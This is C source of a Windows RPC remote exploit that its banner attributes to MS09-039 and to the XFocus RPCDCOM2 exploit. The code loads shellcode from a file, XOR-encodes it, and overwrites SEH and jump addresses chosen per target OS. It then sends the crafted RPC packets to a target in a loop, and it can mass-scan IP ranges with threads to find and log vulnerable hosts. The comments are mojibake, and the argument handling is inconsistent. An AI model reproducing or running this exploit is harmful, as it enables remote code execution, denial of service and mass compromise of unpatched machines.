if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return 0;
}
len1=sizeof(request1);
len=sizeof(rawData);
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf("%s - connect failed\n",ip);
return 0;
}
int vers=!version(ip,sock);
// printf("%d\n",vers);
// return;
// int vers=1;
FILE *fp;
//ç¨â ¥¬ ¯ ª¥â
// fp=fopen("shellcode","rb");
// fread(rawData,1,1036,fp);
// fclose(fp);
//⥯¥àì 㦮 ááç¨â âì ¥¯®á।á⢥® ¨á¯®«ï¥¬ë© 襫«ª®¤!
fp=fopen("bshell2","rb");
int sz=fread(shellcode,1,1024,fp);
fclose(fp);
// printf("%d\n",sz);
for(int i=0;i<sz;i++)
rawData[i+0x71]=shellcode[i];
// fp=fopen("badfile.exe","rb");
// unsigned int sz1=fread(shellcode,1,50000,fp);
// fclose(fp);
// for(i=0;i<sz1;i++)
// rawData[i+0x240]=shellcode;
// fp=fopen("pac","wb");
// fwrite(rawData,1,1036,fp);
// fclose(fp);
// return;
//¥à¥¤ ⥬ ª ª ªá®à¨âì § ¯¨è¥¬ ¤à¥á ᢮¡®¤®£® HEAP'a
// DWORD heap=0x00180000;
// int k=vers;
// vers=1;
// *(DWORD *)(rawData+0xae)=target_os[vers].heap;
*(DWORD *)(rawData+0x71+0x1e)=target_os[vers].heap;
//’¥¯¥àì 㦮 ¯à®ªá®à¨âì è ª®¤, ¤«ï ⮣® çâ®¡ë ¯®«ãç¨âì ã¦ë©
XOR(rawData,0x71,sz,0x99);
// XOR(rawData,0x240,sz1,0x99);
//’ ª ¦¥ ¬ 㦮 § ¯¨á âì ã¦ë© ¬ SEH ¨ JMP
DWORD seh=target_os[vers].seh;
DWORD jmp=target_os[vers].jmp;
*(DWORD *)(rawData+0x22a)=jmp;
*(DWORD *)(rawData+0x22e)=seh;
// *(WORD *)(rawData+0x62)=sz+sz1+(0x240-(0x71+sz));
*(WORD *)(rawData+0x62)=sz;
memcpy(buf2,request1,sizeof(request1));
*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(rawData)/2;
*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(rawData)/2;
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,rawData,sizeof(rawData));
len1=len1+sizeof(rawData);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+len-0xc;
*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+len-0xc;
*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+len-0xc;
*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+len-0xc;
*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+len-0xc;
*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+len-0xc;
*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+len-0xc;
*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+len-0xc;
closesocket(sock);
if(atack)
{
sock=socket(2,1,0);
WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL);
if (send(sock,(const char *)bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
{
printf("%s - send failed %d\n",ip,WSAGetLastError());
return 0;
}
else {printf("%s - send exploit to %s\n",ip,target_os[vers].target);}
len=recv(sock,(char *)buf1,1000,NULL);
bool ft=1;
if(ft)
{
int i=0;
while(1)
{
if (send(sock,(const char *)buf2,len1,0)==SOCKET_ERROR)
{
printf("\nSend failed.Error:%d\n",WSAGetLastError());
return 0;
}
else
{
printf("\r%d",++i);
}
//Sleep(1000);
}
}
send(sock,(const char *)buf2,len1,0);
closesocket(sock);
}
else fprintf(fp1,"%s %s\n",target_os[vers].target,ip);
// fp=fopen("pac","wb");
// fwrite(rawData,1,1036,fp);
// fclose(fp);
}
unsigned long thread_count=0;
char adr[200];
DWORD WINAPI ThreadProc(
LPVOID lpParameter // thread data
)
{
thread_count++;
attack(adr,0);
thread_count--;
return 0;
}
int main(int argc,char ** argv)
{
//printf("%x %x",OF_READWRITE,GETSTRCS(argv[1]));
//return;
//HFILE hf=_lopen("asd123",0x1001);
//printf("%x",hf);
//_lclose(hf);
//return;
if(argc!=2){
fprintf(stderr, "RPC universal exploit. Exploit MS09-039 vulnerability\n"
"unpatched host - to codee xecution\n"
"patched host - to DoS\n"
"based on original XFocus RPCDCOM2 exploit\n"
"modification and shellcode (c) by karlss0n\n"
"downloaded on www.k-otik.com\n"
"\n"
"usage: %s <target_ip>\n",
argv[0]);
return 10;
}
WSADATA wsaData;
int wVersionRequested;
wVersionRequested = MAKEWORD( 2, 2 );
int err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
/* Tell the user that we could not find a usable */
/* WinSock DLL. */
return 1;
}
if(strchr(argv[1],'.'))
{
attack(argv[1],1);
Sleep(20000);
return 2;
}
int cb=1,db=1;
cb=atoi(argv[3]);
db=atoi(argv[4]);
long tm=atoi(argv[5]);
for(int c=cb;c<255;c++)
{
for(int d=db;d<255;d++)
{
sprintf(adr,"%s.%s.%d.%d",argv[1],argv[2],c,d);
if(thread_count>tm) while(thread_count>tm) Sleep(100);
CreateThread(NULL,0,&ThreadProc,(void *)"",0,NULL);
Sleep(10);
fflush(fp1);
}
}
Sleep(60000);
fclose(fp1);
return 0;
}
// sebug.net
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